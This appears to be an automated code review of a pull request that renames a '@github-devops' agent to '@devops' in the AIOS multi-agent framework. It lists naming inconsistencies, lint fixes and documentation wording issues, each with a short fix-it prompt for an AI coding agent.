Verify each finding against the current code and only fix it if needed.

In @.gemini/rules/AIOS/agents/architect.md around lines 283 - 287, The YAML
mixes new "@devops" wording with an old key name delegate_to_github_devops;
rename that legacy key to delegate_to_devops (or another consistent key using
"devops") within the same definition so terminology is uniform, and update every
reference in that block (e.g., the redirect_message and git push aliases) to use
the new key; ensure you don't leave the old key behind and run a quick
schema/validation check to catch any remaining references.
.codex/agents/sm.md (1)

129-135: Consider renaming the YAML key for consistency.

The key delegate_to_github_devops: still references the old agent name while its content describes delegation to @devops. This is a minor cosmetic inconsistency. Consider renaming to delegate_to_devops: for clarity, though it doesn't affect runtime behavior.

♻️ Optional: Rename key for consistency
-    delegate_to_github_devops:
+    delegate_to_devops:
       when:
         - Push branches to remote repository
         - Create pull requests
         - Merge pull requests
         - Delete remote branches
         - Repository-level operations
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.codex/agents/sm.md around lines 129 - 135, The YAML key
delegate_to_github_devops is inconsistent with the described target (`@devops`);
rename the key to delegate_to_devops across the file to match intent, and update
any references/usages (e.g., conditionals, lookups, or documentation) that still
reference delegate_to_github_devops so they point to delegate_to_devops to avoid
mismatch; ensure indentation and surrounding structure remain unchanged.
.aios-core/development/agents/sm.md (1)

129-135: Same optional key rename applies here as in the .codex sync.

This is the source file that syncs to .codex/agents/sm.md. The same optional refactor to rename delegate_to_github_devops: to delegate_to_devops: would improve consistency.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.aios-core/development/agents/sm.md around lines 129 - 135, Rename the YAML
optional key delegate_to_github_devops to delegate_to_devops in this source
(symbol: delegate_to_github_devops) to match the refactor applied in the .codex
sync; update any references in the same file that reference
delegate_to_github_devops so they use delegate_to_devops for consistency and
ensure the synced .codex/agents/sm.md mapping remains aligned.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In @.aios-core/development/agent-teams/team-qa-focused.yaml:
- Around line 34-40: The file mixes agent identifiers (`@devops` vs
`github-devops`); update all occurrences to a single canonical name (choose one
and be consistent). Specifically, replace `github-devops` in the `agents:` list
and the `quality_gates.pre_pr.agent`, `quality_gates.pre_merge.agent`, and
`quality_gates.pre_deployment.agent` entries (and the other occurrences around
lines 136-145) to match the `@devops` used in `purpose` and `usage_example`, or
vice versa if `github-devops` is intended; ensure all references across the file
use the same identifier.

In @.aios-core/development/tasks/ci-cd-configuration.md:
- Line 704: The frontmatter currently sets agent: github-devops which mismatches
the canonical agent definition (id: devops, name: Gage); update the document
frontmatter to use agent: devops so it aligns with the registry and prevents
misrouting by metadata-driven task dispatchers—locate the YAML frontmatter at
the top of the file and replace github-devops with devops, and keep the inline
reference "aios activate Gage  # devops agent" unchanged to preserve
human-readable name.

In @.aios-core/development/tasks/release-management.md:
- Line 651: The frontmatter contains an invalid agent identifier "agent:
github-devops"; update the frontmatter entry to "agent: devops" so it matches
the canonical agent (personified as Gage) used by tasks and the example command
"aios activate Gage" — locate the frontmatter block that declares agent:
github-devops and replace that value with agent: devops to ensure proper task
routing.

In @.claude/CLAUDE.md:
- Around line 394-405: The markdown tables (the pipe-delimited blocks shown in
the diff) need blank lines immediately before and after each table to satisfy
MD058; edit .claude/CLAUDE.md and insert a single empty line above and below
each table block (the table starting near the shown block around "Comando |
Descrição" and the second table referenced in the comment) so there is an empty
line separating the surrounding text and the table content.
- Around line 389-391: Add a language identifier to the fenced code block that
currently contains "WhatsApp/Telegram → OpenClaw Gateway → AIOS Agents →
Resposta ao usuário" by changing the opening fence from ``` to ```text so
markdownlint MD040 is satisfied; leave the block content and closing fence
unchanged.

In @.codex/agents/devops.md:
- Around line 395-398: The pre-push enforcement currently compares the
$AIOS_ACTIVE_AGENT value against the old identifier "github-devops"; update that
check to compare against "devops" so it matches the agent definition (id:
devops) and the user-facing message to `@devops`—locate the conditional that
evaluates AIOS_ACTIVE_AGENT (the check using agent != "github-devops") and
replace the literal with "devops".

In @.gemini/rules/AIOS/agents/devops.md:
- Around line 394-398: The pre-push enforcement currently compares
$AIOS_ACTIVE_AGENT to the hard-coded string "github-devops" which no longer
matches the configured agent.id (agent.id: devops); update the check so it
compares against "devops" (or accepts both "devops" and "github-devops" if
backward compatibility is desired) and adjust the enforcement message
accordingly; target the code that reads $AIOS_ACTIVE_AGENT and the string
literal "github-devops" and replace it with "devops" (or a small whitelist
containing both) and ensure the user-facing redirect text mentions the devops
alias.

In `@docs/aios-agent-flows/aios-master-system.md`:
- Line 381: The table row string "| Operacoes Git | `@devops` | Expertise em
DevOps |" mixes English and Portuguese; update that cell to a PT-BR term (for
example replace "Expertise" with "Especialização" so it reads "| Operacoes Git |
`@devops` | Especialização em DevOps |") to keep language consistency in the docs.

In `@docs/es/agents/persona-definitions.md`:
- Line 309: Update the historical note in persona-definitions.md so it
references the previous name `@github-devops` instead of repeating `@devops`;
replace the phrase "anteriormente `@devops`" with "anteriormente
`@github-devops`" to match the migration pattern used for `@data-engineer` and
maintain accurate backwards-compatibility aliasing information.

In `@docs/es/architecture/agent-responsibility-matrix.md`:
- Line 24: The document states the critical rule "SOLO el agente `@devops` puede
ejecutar `git push`" but the enforcement examples (hooks/env/IDE) still
reference the agent name "github-devops", creating an inconsistency; update all
example references (hook names, environment variables, IDE configs, and any
sample commands) to use the canonical agent identifier "@devops" (or vice-versa
if you decide to rename the rule) so the rule text and all example artifacts
match exactly (search for occurrences of "github-devops" and "SOLO el agente
`@devops`" and reconcile them in functions/sections that show hooks, env vars and
IDE snippets).

In `@docs/guides/agents/AIOS-MASTER-SYSTEM.md`:
- Line 381: Update the Portuguese phrasing in the table row that currently reads
"Operacoes Git | `@devops` | Expertise em DevOps" by replacing "Expertise em
DevOps" with "especialização em DevOps" to match PT-BR style and consistency;
locate the row text in the AIOS-MASTER-SYSTEM.md table and perform the simple
string substitution.

In `@docs/pt/architecture/agent-responsibility-matrix.md`:
- Line 24: The doc has contradictory examples using the legacy agent name
`github-devops` while the rule mandates only `@devops` can push; update all
enforcement examples in agent-responsibility-matrix.md (pre-push hook,
environment variable examples, IDE config snippets) to reference `@devops`
instead of `github-devops`, and add a short note pointing readers to
.aios-core/constitution.md as the authoritative source for agent behavior and
principles (CLI First, Agent Authority, Story-Driven Development, No Invention,
Quality First, Absolute Imports) so examples and rule text stay consistent.

In `@docs/research/freelance-machine/cover-letters-junior-ai.md`:
- Around line 39-40: Replace the hardcoded personal identity strings ("Lucas
Lorenzo Savino", "GitHub: github.com/savinoo", and "LinkedIn:
linkedin.com/in/lucas-lorenzo-savino-56b946179") in the reusable cover letter
template with clear placeholders (e.g., {{NAME}}, {{GITHUB_URL}},
{{LINKEDIN_URL}}); update the same replacements wherever those exact strings
appear (notably the instances around lines referenced in the comment) and ensure
any README or template usage notes explain how to substitute the placeholders
when generating a personalized copy.

---

Outside diff comments:
In @.aios-core/development/agent-teams/team-qa-focused.yaml:
- Line 9: Replace the incorrect agent identifier "github-devops" with the
canonical "devops" wherever it appears in this YAML (including the quality_gates
entries referenced and any refs that currently use "github-devops"); ensure the
quality_gates section entries (and any agent references) match the documented
agent identifier "devops" and any mentions of "@devops" remain consistent with
that change so all agent identifiers and documentation in this file use
"devops".

In @.claude/commands/AIOS/agents/devops.md:
- Around line 393-399: Update the enforcement_mechanism block to reflect the
current agent ID by replacing the string "github-devops" with "devops" so the
pre-push hook description (enforcement_mechanism) now reads "Blocks push if
agent != \"devops\"" and matches the redirect message to `@devops`; check the
enforcement_mechanism text and any occurrences of the old agent ID within that
block to ensure consistency.

In @.codex/agents/devops.md:
- Around line 256-260: Update the broken task dependency references in the
dependencies array inside .codex/agents/devops.md by replacing the old
github-devops- prefixed filenames with their new devops- equivalents: change
github-devops-version-management.md to devops-version-management.md,
github-devops-pre-push-quality-gate.md to devops-pre-push-quality-gate.md,
github-devops-github-pr-automation.md to devops-github-pr-automation.md, and
github-devops-repository-cleanup.md to devops-repository-cleanup.md so that the
dependencies array points to the renamed task files.

---

Duplicate comments:
In @.claude/CLAUDE.md:
- Around line 424-426: The dmPolicy setting currently set as "open" (dmPolicy:
open) increases attack surface; change dmPolicy to a restrictive option such as
"allowlist" (e.g., dmPolicy: allowlist) and implement/update the corresponding
allowlist of permitted user IDs or groups, or alternatively attach documented
compensating controls and explicit approval metadata next to the dmPolicy entry
so reviewers can verify approval and controls; update any related configuration
validation or comments referencing dmPolicy to reflect the new policy and where
the allowlist/approval is stored.
- Around line 400-401: The two example CLI usages (`openclaw message send --to
+NUMBER --body "texto"` and `openclaw agent --to +NUMBER --message "texto"
--deliver`) use conflicting flags; standardize all examples to the canonical
contract flags `--target` for recipient and `--message` for payload (e.g.,
replace `--to` with `--target` and `--body` with `--message`) so examples match
the OpenClaw contract/bridge; update every instance (including the duplicated
examples around the shown diff and the ones at lines referenced) and verify by
searching for literals `openclaw message send`, `openclaw agent`, `--to`,
`--body`, `--target`, and `--message` to ensure consistency.

---

Nitpick comments:
In @.aios-core/development/agents/sm.md:
- Around line 129-135: Rename the YAML optional key delegate_to_github_devops to
delegate_to_devops in this source (symbol: delegate_to_github_devops) to match
the refactor applied in the .codex sync; update any references in the same file
that reference delegate_to_github_devops so they use delegate_to_devops for
consistency and ensure the synced .codex/agents/sm.md mapping remains aligned.

In @.aios-core/development/tasks/create-brownfield-story.md:
- Around line 532-533: The Pre-PR and Pre-Deployment checklist entries currently
only require running coderabbit and lack explicit quality gates; update the
checklists in the Pre-PR and Pre-Deployment sections to include explicit steps
to run standard quality gates (e.g., add checklist items such as "Run npm run
lint", "Run npm run typecheck", and "Run npm test") so that the tasks after the
existing coderabbit commands require these commands to complete before marking
the checklist done (apply the same additions to the corresponding lines
referenced around the existing Pre-PR and Pre-Deployment entries).

In @.claude/commands/AIOS/agents/architect.md:
- Around line 283-287: The YAML uses a stale key name delegate_to_github_devops
while newly delegated actions reference `@devops`; rename the YAML key to
delegate_to_devops and update all occurrences (the original
delegate_to_github_devops identifier and any references) to the new name so the
configuration is consistent; also update any related strings or mappings (e.g.,
the redirect_message and places where git push/gh pr create are tied to the
delegate) to reference delegate_to_devops to avoid mixed naming.

In @.codex/agents/architect.md:
- Line 423: The legacy YAML section key delegate_to_github_devops should be
renamed to match the user-facing tag `@devops`; update the YAML key name
(delegate_to_github_devops -> devops or delegate_to_devops) and then update all
consumers that reference delegate_to_github_devops (templates, parsing logic,
config readers) to use the new key; ensure any documentation or examples that
reference `@devops` remain consistent with the new YAML key so no mismatches
remain between the user-facing string and the config key.

In @.codex/agents/sm.md:
- Around line 129-135: The YAML key delegate_to_github_devops is inconsistent
with the described target (`@devops`); rename the key to delegate_to_devops across
the file to match intent, and update any references/usages (e.g., conditionals,
lookups, or documentation) that still reference delegate_to_github_devops so
they point to delegate_to_devops to avoid mismatch; ensure indentation and
surrounding structure remain unchanged.

In @.gemini/rules/AIOS/agents/architect.md:
- Around line 283-287: The YAML mixes new "@devops" wording with an old key name
delegate_to_github_devops; rename that legacy key to delegate_to_devops (or
another consistent key using "devops") within the same definition so terminology
is uniform, and update every reference in that block (e.g., the redirect_message
and git push aliases) to use the new key; ensure you don't leave the old key
behind and run a quick schema/validation check to catch any remaining
references.

In @.gemini/rules/AIOS/agents/devops.md:
- Around line 402-435: The policy text hardcodes the agent name "@devops" which
risks string drift; replace hardcoded occurrences with a single canonical
reference derived from the agent identity (agent.id) so the examples and
enforcement hooks always match the actual agent name. Update the
templates/examples (the blocks named standard_push, release_creation,
repository_cleanup and any enforcement text) to interpolate or reference
agent.id instead of the literal "@devops", and ensure code that generates hooks
(e.g., repository-detector.js integration points) reads agent.id as the source
of truth so generated hooks, PR creation, and displays use the same identifier.

In `@docs/pt/agents/persona-definitions.md`:
- Line 309: The note currently repeats the same agent name (`@devops`) and is
ambiguous; update the sentence to clearly state the previous name and the new
name (replace the duplicated `@devops` so one occurrence is the former
identifier and the other is the new identifier) and explicitly mention that the
old name will be kept as an alias for backward compatibility (edit the "Nota:"
line that contains `@devops`).

In `@docs/research/freelance-machine/cover-letters-junior-ai.md`:
- Line 105: Tighten the two sentences (currently at Line 105 and Line 115) for
smoother phrasing: replace the Line 105 sentence "I don't just call LLM APIs --
I engineer the systems around them. Session management, error recovery, cost
optimization, structured outputs, tool orchestration. The difference between a
demo and a product." with a single, fluent sentence that groups responsibilities
(for example: "I don't just call LLM APIs — I engineer the systems around them:
session management, error recovery, cost optimization, structured outputs, and
tool orchestration, turning demos into production-ready products."); apply a
similar tightening to the Line 115 sentence to remove choppy fragments and
ensure parallel list structure and clear flow.
- Around line 3-5: The document intro lines "3 cover letters padronizadas para
vagas de Junior AI Solutions Engineer. Foco: RAG, MCP, OpenClaw, Claude Code,
multi-agent systems. Adaptar campos [ENTRE COLCHETES] para cada vaga." are in
Portuguese while the templates are English; replace these three lines with an
English equivalent that matches the rest of the document (e.g., "3 standardized
cover letter templates for Junior AI Solutions Engineer roles. Focus: RAG, MCP,
OpenClaw, Claude Code, multi-agent systems. Adapt fields [IN BRACKETS] for each
job.") so wording and bracket conventions align with the templates and
collaborators.

ℹ️ Review info

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 9aa8260 and 1b1be7b.

📒 Files selected for processing (80)
  • .aios-core/core-config.yaml
  • .aios-core/core/quality-gates/notification-manager.js
  • .aios-core/development/agent-teams/team-qa-focused.yaml
  • .aios-core/development/agents/aios-master.md
  • .aios-core/development/agents/architect.md
  • .aios-core/development/agents/dev.md
  • .aios-core/development/agents/devops.md
  • .aios-core/development/agents/qa.md
  • .aios-core/development/agents/sm.md
  • .aios-core/development/tasks/brownfield-create-epic.md
  • .aios-core/development/tasks/ci-cd-configuration.md
  • .aios-core/development/tasks/create-brownfield-story.md
  • .aios-core/development/tasks/create-next-story.md
  • .aios-core/development/tasks/devops-github-pr-automation.md
  • .aios-core/development/tasks/devops-pre-push-quality-gate.md
  • .aios-core/development/tasks/devops-repository-cleanup.md
  • .aios-core/development/tasks/devops-version-management.md
  • .aios-core/development/tasks/pr-automation.md
  • .aios-core/development/tasks/release-management.md
  • .aios-core/development/tasks/validate-next-story.md
  • .aios-core/install-manifest.yaml
  • .aios-core/product/checklists/story-draft-checklist.md
  • .aios-core/product/templates/github-actions-cd.yml
  • .aios-core/product/templates/github-actions-ci.yml
  • .aios-core/product/templates/github-pr-template.md
  • .aios-core/product/templates/story-tmpl.yaml
  • .aios-core/user-guide.md
  • .antigravity/rules/agents/sm.md
  • .claude/CLAUDE.md
  • .claude/commands/AIOS/agents/aios-master.md
  • .claude/commands/AIOS/agents/architect.md
  • .claude/commands/AIOS/agents/dev.md
  • .claude/commands/AIOS/agents/devops.md
  • .claude/commands/AIOS/agents/qa.md
  • .claude/commands/AIOS/agents/sm.md
  • .codex/agents/aios-master.md
  • .codex/agents/architect.md
  • .codex/agents/dev.md
  • .codex/agents/devops.md
  • .codex/agents/qa.md
  • .codex/agents/sm.md
  • .cursor/rules/agents/sm.md
  • .gemini/rules/AIOS/agents/aios-master.md
  • .gemini/rules/AIOS/agents/architect.md
  • .gemini/rules/AIOS/agents/dev.md
  • .gemini/rules/AIOS/agents/devops.md
  • .gemini/rules/AIOS/agents/qa.md
  • .gemini/rules/AIOS/agents/sm.md
  • .github/agents/sm.agent.md
  • docs/aios-agent-flows/aios-master-system.md
  • docs/aios-agent-flows/architect-system.md
  • docs/aios-agent-flows/data-engineer-system.md
  • docs/aios-agent-flows/dev-system.md
  • docs/aios-agent-flows/pm-system.md
  • docs/aios-agent-flows/qa-system.md
  • docs/aios-agent-flows/sm-system.md
  • docs/es/agents/persona-definitions.md
  • docs/es/architecture/agent-responsibility-matrix.md
  • docs/guides/agents/AIOS-MASTER-SYSTEM.md
  • docs/guides/agents/ARCHITECT-SYSTEM.md
  • docs/guides/agents/DATA-ENGINEER-SYSTEM.md
  • docs/guides/agents/DEV-SYSTEM.md
  • docs/guides/agents/PM-SYSTEM.md
  • docs/guides/agents/QA-SYSTEM.md
  • docs/guides/agents/SM-SYSTEM.md
  • docs/guides/agents/traces/dev-execution-trace.md
  • docs/guides/agents/traces/qa-execution-trace.md
  • docs/pt/agents/persona-definitions.md
  • docs/pt/architecture/agent-responsibility-matrix.md
  • docs/research/freelance-machine/cover-letters-junior-ai.md
  • docs/zh/agents/persona-definitions.md
  • docs/zh/aios-agent-flows/architect-system.md
  • docs/zh/aios-agent-flows/data-engineer-system.md
  • docs/zh/aios-agent-flows/dev-system.md
  • docs/zh/aios-agent-flows/pm-system.md
  • docs/zh/aios-agent-flows/sm-system.md
  • docs/zh/architecture/agent-responsibility-matrix.md
  • packages/aios-orchestrator/orchestrator.mjs
  • packages/aios-orchestrator/src/workflow-engine.mjs
  • packages/aios-pro-cli/bin/aios-pro.js
✅ Files skipped from review due to trivial changes (8)
  • .aios-core/product/templates/github-actions-cd.yml
  • .aios-core/development/tasks/pr-automation.md
  • .aios-core/product/templates/github-pr-template.md
  • .aios-core/development/tasks/devops-github-pr-automation.md
  • .aios-core/install-manifest.yaml
  • .aios-core/development/tasks/devops-pre-push-quality-gate.md
  • docs/guides/agents/DATA-ENGINEER-SYSTEM.md
  • .codex/agents/dev.md

Comment on lines +34 to +40
3. **PR Phase** (@devops):
- Pre-PR quality gate (0 CRITICAL issues required)
- Automated PR validation workflow
- Lint + Tests + CodeRabbit scan
- Generate comprehensive PR validation report

4. **Deployment Phase** (@github-devops):
4. **Deployment Phase** (@devops):
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⚠️ Potential issue | 🟡 Minor

Inconsistent agent naming: @devops vs github-devops.

The purpose and usage_example sections now reference @devops, but several other parts of this file still use github-devops:

  • Line 9: agents: list includes github-devops
  • Line 67: quality_gates.pre_pr.agent: github-devops
  • Line 76: quality_gates.pre_merge.agent: github-devops
  • Line 85: quality_gates.pre_deployment.agent: github-devops

If this rename is intentional and @devops is the new canonical reference, consider updating the remaining occurrences for consistency. Otherwise, the documentation may confuse readers about which agent is responsible for these workflows.

📝 Suggested consistency fix
 agents:
   - dev                # Pre-commit CodeRabbit reviews, development quality
   - qa                 # Automated and manual QA, story validation
-  - github-devops      # PR quality gates, deployment safety checks
+  - devops             # PR quality gates, deployment safety checks
   pre_pr:
     trigger: Before creating PR
-    agent: github-devops
+    agent: devops
     checks:
   pre_merge:
     trigger: PR opened/updated
-    agent: github-devops
+    agent: devops
     checks:
   pre_deployment:
     trigger: Before production/staging deploy
-    agent: github-devops
+    agent: devops
     checks:

Also applies to: 136-145

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.aios-core/development/agent-teams/team-qa-focused.yaml around lines 34 -
40, The file mixes agent identifiers (`@devops` vs `github-devops`); update all
occurrences to a single canonical name (choose one and be consistent).
Specifically, replace `github-devops` in the `agents:` list and the
`quality_gates.pre_pr.agent`, `quality_gates.pre_merge.agent`, and
`quality_gates.pre_deployment.agent` entries (and the other occurrences around
lines 136-145) to match the `@devops` used in `purpose` and `usage_example`, or
vice versa if `github-devops` is intended; ensure all references across the file
use the same identifier.


```bash
aios activate Otto # github-devops agent
aios activate Gage # devops agent
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⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# First, verify the file exists and check lines 4 and 704
echo "=== Checking file structure ==="
if [ -f ".aios-core/development/tasks/ci-cd-configuration.md" ]; then
  echo "File exists. Checking line 4 (frontmatter):"
  head -20 ".aios-core/development/tasks/ci-cd-configuration.md" | cat -n
  echo ""
  echo "Checking lines 700-710 (around line 704):"
  sed -n '700,710p' ".aios-core/development/tasks/ci-cd-configuration.md" | cat -n
else
  echo "File not found"
fi

Repository: SynkraAI/aios-core

Length of output: 1151


🏁 Script executed:

#!/bin/bash
# Search for agent definitions and references across the codebase
echo "=== Agent definitions in agents directory ==="
find .aios-core/development/agents -name "*.md" -o -name "*.json" 2>/dev/null | head -20

echo ""
echo "=== Searching for agent identifiers (devops, github-devops, Gage) ==="
rg -n "^(id|name):" .aios-core/development/agents 2>/dev/null | grep -i "devops\|gage" || echo "No matches found"

echo ""
echo "=== Checking all agent references in the task file ==="
rg -n "agent:|aios activate|@devops|@github-devops|Gage|Otto" ".aios-core/development/tasks/ci-cd-configuration.md" 2>/dev/null || echo "No matches found"

Repository: SynkraAI/aios-core

Length of output: 1206


🏁 Script executed:

#!/bin/bash
# Check the canonical devops agent definition and any aliases
echo "=== Content of devops.md ==="
head -30 ".aios-core/development/agents/devops.md"

echo ""
echo "=== Search for Gage references/definition ==="
rg -n "Gage|name:|id:" ".aios-core/development/agents/devops.md" | head -20

Repository: SynkraAI/aios-core

Length of output: 2993


🏁 Script executed:

#!/bin/bash
# Check if github-devops might be defined elsewhere or if it's purely a mistake
echo "=== Search for github-devops across all codebase ==="
rg -n "github-devops" ".aios-core/" --type md --type json 2>/dev/null | head -30

Repository: SynkraAI/aios-core

Length of output: 3184


Align agent identity to canonical agent definition.

Line 704 shows aios activate Gage # devops agent, but the frontmatter at line 4 declares agent: github-devops. The canonical agent definition in .aios-core/development/agents/devops.md defines id: devops and name: Gage. Update the frontmatter to use the canonical agent ID devops for consistency with the agent registry and to avoid misrouting in metadata-driven task dispatchers.

Suggested fix
--- a/.aios-core/development/tasks/ci-cd-configuration.md
+++ b/.aios-core/development/tasks/ci-cd-configuration.md
@@ -1,7 +1,7 @@
 ---
 id: ci-cd-configuration
 name: Configure CI/CD Pipeline
-agent: github-devops
+agent: devops
 category: devops
 complexity: high
 tools:
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
aios activate Gage # devops agent
---
id: ci-cd-configuration
name: Configure CI/CD Pipeline
agent: devops
category: devops
complexity: high
tools:
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.aios-core/development/tasks/ci-cd-configuration.md at line 704, The
frontmatter currently sets agent: github-devops which mismatches the canonical
agent definition (id: devops, name: Gage); update the document frontmatter to
use agent: devops so it aligns with the registry and prevents misrouting by
metadata-driven task dispatchers—locate the YAML frontmatter at the top of the
file and replace github-devops with devops, and keep the inline reference "aios
activate Gage  # devops agent" unchanged to preserve human-readable name.


```bash
aios activate Otto # github-devops agent
aios activate Gage # devops agent
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⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# First, check the actual content of the release-management.md file
echo "=== Checking release-management.md ===" 
head -n 10 .aios-core/development/tasks/release-management.md
echo ""
echo "=== Lines around line 651 ==="
sed -n '645,657p' .aios-core/development/tasks/release-management.md

Repository: SynkraAI/aios-core

Length of output: 658


🏁 Script executed:

#!/bin/bash
# Check agent definitions
echo "=== Checking agent definitions directory ===" 
ls -la .aios-core/development/agents/
echo ""
echo "=== Checking for Gage agent definition ===" 
find .aios-core/development/agents -type f -name "*gage*" -o -name "*devops*"

Repository: SynkraAI/aios-core

Length of output: 1658


🏁 Script executed:

#!/bin/bash
# Search for agent ID references in the repository
echo "=== Searching for agent id definitions ===" 
rg -n "^(id|name):" .aios-core/development/agents
echo ""
echo "=== Searching for agent: field in tasks ===" 
rg -n "^agent:" .aios-core/development/tasks/

Repository: SynkraAI/aios-core

Length of output: 1773


🏁 Script executed:

#!/bin/bash
# Check the actual agent definition files for id/name fields
echo "=== Checking devops.md for id/name ===" 
head -n 20 .aios-core/development/agents/devops.md
echo ""
echo "=== Checking if Gage is defined anywhere ===" 
rg -i "gage|name.*devops" .aios-core/development/agents

Repository: SynkraAI/aios-core

Length of output: 2661


🏁 Script executed:

#!/bin/bash
# Check constitution.md for naming standards
echo "=== Checking constitution.md for agent naming guidelines ===" 
cat .aios-core/constitution.md | head -n 100

Repository: SynkraAI/aios-core

Length of output: 3306


Fix invalid agent identifier in frontmatter.

The frontmatter declares agent: github-devops (line 4), but no such agent is defined in the codebase. The canonical agent is devops (personified as Gage). This mismatch will prevent proper task routing. The example code correctly uses aios activate Gage, but the metadata must align.

Update line 4 from agent: github-devops to agent: devops.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.aios-core/development/tasks/release-management.md at line 651, The
frontmatter contains an invalid agent identifier "agent: github-devops"; update
the frontmatter entry to "agent: devops" so it matches the canonical agent
(personified as Gage) used by tasks and the example command "aios activate Gage"
— locate the frontmatter block that declares agent: github-devops and replace
that value with agent: devops to ensure proper task routing.

Comment on lines +389 to +391
```
WhatsApp/Telegram → OpenClaw Gateway → AIOS Agents → Resposta ao usuário
```
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⚠️ Potential issue | 🟡 Minor

Add language identifier to fenced code block.

Line 389 starts a fenced block without language, which triggers markdownlint MD040.

Proposed doc fix
-```
+```text
 WhatsApp/Telegram → OpenClaw Gateway → AIOS Agents → Resposta ao usuário
</details>

<!-- suggestion_start -->

<details>
<summary>📝 Committable suggestion</summary>

> ‼️ **IMPORTANT**
> Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

```suggestion

🧰 Tools
🪛 markdownlint-cli2 (0.21.0)

[warning] 389-389: Fenced code blocks should have a language specified

(MD040, fenced-code-language)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/CLAUDE.md around lines 389 - 391, Add a language identifier to the
fenced code block that currently contains "WhatsApp/Telegram → OpenClaw Gateway
→ AIOS Agents → Resposta ao usuário" by changing the opening fence from ``` to
```text so markdownlint MD040 is satisfied; leave the block content and closing
fence unchanged.

Comment on lines +394 to +405
| Comando | Descrição |
|---------|-----------|
| `openclaw status` | Status do gateway, canais e sessões |
| `openclaw status --deep` | Status detalhado com probes |
| `openclaw channels login whatsapp` | Linkar WhatsApp via QR code |
| `openclaw channels logout whatsapp` | Desconectar WhatsApp |
| `openclaw message send --to +NUMBER --body "texto"` | Enviar mensagem direta |
| `openclaw agent --to +NUMBER --message "texto" --deliver` | Executar agente e entregar resposta |
| `openclaw logs --follow` | Logs em tempo real |
| `openclaw config set KEY VALUE` | Alterar configuração |
| `openclaw doctor --fix` | Diagnosticar e corrigir problemas |

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⚠️ Potential issue | 🟡 Minor

Surround tables with blank lines for markdownlint compliance.

Add blank lines immediately before and after both tables (around Lines 394 and 415) to satisfy MD058.

Also applies to: 415-422

🧰 Tools
🪛 markdownlint-cli2 (0.21.0)

[warning] 394-394: Tables should be surrounded by blank lines

(MD058, blanks-around-tables)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/CLAUDE.md around lines 394 - 405, The markdown tables (the
pipe-delimited blocks shown in the diff) need blank lines immediately before and
after each table to satisfy MD058; edit .claude/CLAUDE.md and insert a single
empty line above and below each table block (the table starting near the shown
block around "Comando | Descrição" and the second table referenced in the
comment) so there is an empty line separating the surrounding text and the table
content.

Tauro representa confiabilidad, construir fundaciones fuertes y trabajo metodico - rasgos esenciales de DevOps. "Gage" sugiere medicion y precision. Verde representa automatizacion y estados "adelante".

**Nota:** Este agente era anteriormente `@github-devops` y sera renombrado a `@devops` con un alias para compatibilidad retroactiva.
**Nota:** Este agente era anteriormente `@devops` y sera renombrado a `@devops` con un alias para compatibilidad retroactiva.
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⚠️ Potential issue | 🟡 Minor

Fix logical tautology in the historical note.

The note states the agent was previously @devops and will be renamed to @devops, which is a tautology. Based on the PR's widespread migration from @github-devops@devops and the pattern used for the @data-engineer note on line 281, this should reference the old name @github-devops.

📝 Proposed fix
-**Nota:** Este agente era anteriormente `@devops` y sera renombrado a `@devops` con un alias para compatibilidad retroactiva.
+**Nota:** Este agente era anteriormente `@github-devops` y sera renombrado a `@devops` con un alias para compatibilidad retroactiva.
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
**Nota:** Este agente era anteriormente `@devops` y sera renombrado a `@devops` con un alias para compatibilidad retroactiva.
**Nota:** Este agente era anteriormente `@github-devops` y sera renombrado a `@devops` con un alias para compatibilidad retroactiva.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/es/agents/persona-definitions.md` at line 309, Update the historical
note in persona-definitions.md so it references the previous name
`@github-devops` instead of repeating `@devops`; replace the phrase
"anteriormente `@devops`" with "anteriormente `@github-devops`" to match the
migration pattern used for `@data-engineer` and maintain accurate
backwards-compatibility aliasing information.

4. **Restricciones de Operaciones Git** - Qué agentes pueden hacer qué con git/GitHub

**Regla Crítica**: SOLO el agente @github-devops puede ejecutar `git push` al repositorio remoto.
**Regla Crítica**: SOLO el agente @devops puede ejecutar `git push` al repositorio remoto.
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⚠️ Potential issue | 🟠 Major

Corregir contradicción entre la regla crítica y los ejemplos de enforcement.

La regla actualizada indica que solo @devops puede hacer push, pero en el mismo documento los ejemplos de hook/env/IDE aún usan github-devops. Eso deja una guía de implementación inconsistente.

Propuesta de corrección
- Acción: Bloquea push si agente != "github-devops"
+ Acción: Bloquea push si agente != "devops"

- export AIOS_ACTIVE_AGENT="github-devops"
+ export AIOS_ACTIVE_AGENT="devops"

- "github-devops": { "allowedOperations": ["*"] }
+ "devops": { "allowedOperations": ["*"] }

- Contenido: Verificar `$AIOS_ACTIVE_AGENT`, bloquear si != "github-devops"
+ Contenido: Verificar `$AIOS_ACTIVE_AGENT`, bloquear si != "devops"
🧰 Tools
🪛 LanguageTool

[grammar] ~24-~24: Corrige la mayúscula.
Context: ...ueden hacer qué con git/GitHub Regla Crítica: SOLO el agente @devops puede ejecuta...

(QB_NEW_ES_OTHER_ERROR_IDS_REPLACEMENT_ORTHOGRAPHY_UPPERCASE)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

